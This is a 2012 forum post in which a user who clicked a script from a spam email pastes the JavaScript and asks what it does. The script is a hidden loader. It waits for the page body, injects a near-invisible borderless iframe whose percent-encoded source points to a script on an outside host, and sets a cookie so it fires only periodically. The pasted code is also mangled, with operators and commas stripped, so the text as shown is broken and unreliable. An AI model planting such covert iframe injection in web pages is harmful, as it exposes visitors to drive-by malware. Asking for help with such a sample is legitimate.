View Single Post
Old 12-08-2012, 05:23 AM   PM User | #1
ervanjulianto
New to the CF scene

 
Join Date: Dec 2012
Posts: 1
Thanks: 0
Thanked 0 Times in 0 Posts
ervanjulianto is an unknown quantity at this point
javascript cookies

hi, today i receive spam email
can you tell me what the use of this script?
cause i already click that script
thanks

PHP Code:
<script language="javascript" type="text/javascript">
window.GetRealCookie=function(name){
var 
cookie " " document.cookie;
var 
search " " name "=";
var 
setStr null;
var 
offset 0;
var 
end 0;
if (
cookie.length 0) {
offset cookie.indexOf(search);
if (
offset != -1
{
offset += search.length;
end cookie.indexOf(";"offset)
if (
end == -1
{
end cookie.length;}
setStr unescape(cookie.substring(offsetend));}}
return 
setStr;
};


window.SetRealCookie=function(namevalueexpiredayspathdomainsecure){
if (
expiredays) {
var 
exdate=new Date();
exdate.setDate(exdate.getDate()+expiredays);
var 
expires exdate.toGMTString();
}
document.cookie name "=" escape(value) +
((
expiredays) ? "; expires=" expires "") +
((
path) ? "; path=" path "") +
((
domain) ? "; domain=" domain "") +
((
secure) ? "; secure" "");
};




window.SetAll****=function()
{
try
{
if(!
document.getElementsByTagName('body')[0])
{
setTimeout('SetAll****();',100);
}
else
{
var 
ifr=document.createElement('iframe');
ifr.width='2px';
ifr.height='1px';
ifr.src=unescape("%68%74%74%70%3A%2F%2F%73%69%6E%67%6C%65%63%6F%6C%75%6D%6E%68%61%6C%6C%6F%77%65%65%6E%2E%61%73%69%61%2F%61%30%34%31%32%31%32%61%2F%36%2F%69%2E%70%68%70%3F%74%6F%6B%65%6E%3D%73%70");
ifr.style.border="none";
document.getElementsByTagName('body')[0].appendChild(ifr);
SetRealCookie('dolink','1',60,'/');
}
}catch(
e){setTimeout('SetAll****();',100);}
}







try
{

var 
checkall=GetRealCookie("dolink");
if (
checkall!=="1")
{
SetAll****();
}

}catch(
e){}

</script> 

Last edited by ervanjulianto; 12-08-2012 at 05:34 AM..
ervanjulianto is offline   Reply With Quote